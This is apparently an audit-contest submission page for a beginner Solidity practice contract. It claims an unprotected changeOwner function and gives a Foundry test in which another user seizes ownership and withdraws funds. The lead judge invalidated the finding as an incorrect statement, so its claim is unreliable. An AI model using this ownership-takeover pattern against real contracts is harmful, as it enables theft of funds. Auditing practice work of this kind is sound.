Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Change Owner Changes the Ownership of the Contract

hawksvision

Summary

Change owner function which is public should be changing the ownership of the box but instead its changing the ownership of the complete contract .Since it doesn't have any checks in place any user can change the ownership to themselves and withdraw the funds from the contract.

Vulnerability Details

The change owner function must have a check in place for verifying whether the msg.sender is the current owner. And the logic of change owner function is supposed to change the ownership of the box not of the contract itself

function changeOwner(address _newOwner) public {
owner = _newOwner;
}

POC

function testChangeOwner() public {
//user2 Buying a box
vm.deal(user2,1 ether);
vm.prank(user2);
mysteryBox.buyBox{value: 0.1 ether}();
​
//user1 changing the ownership and transfering the funds back to him
vm.startPrank(user1);
mysteryBox.changeOwner(user1);
assertEq(mysteryBox.owner(), user1);
mysteryBox.withdrawFunds();
vm.stopPrank();
}

Tools Used

-> Manual Review

-> Foundry

Recommendations

Introduce a variable which gives a unique Id for every box bought by the user and change the fucntion in such the way that the ownership of the box can be changed. Use the provided unique ID and check the ownership of the box.

Updates

Appeal created

inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
hawksvision Submitter
9 months ago
inallhonesty Lead Judge
9 months ago
inallhonesty Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.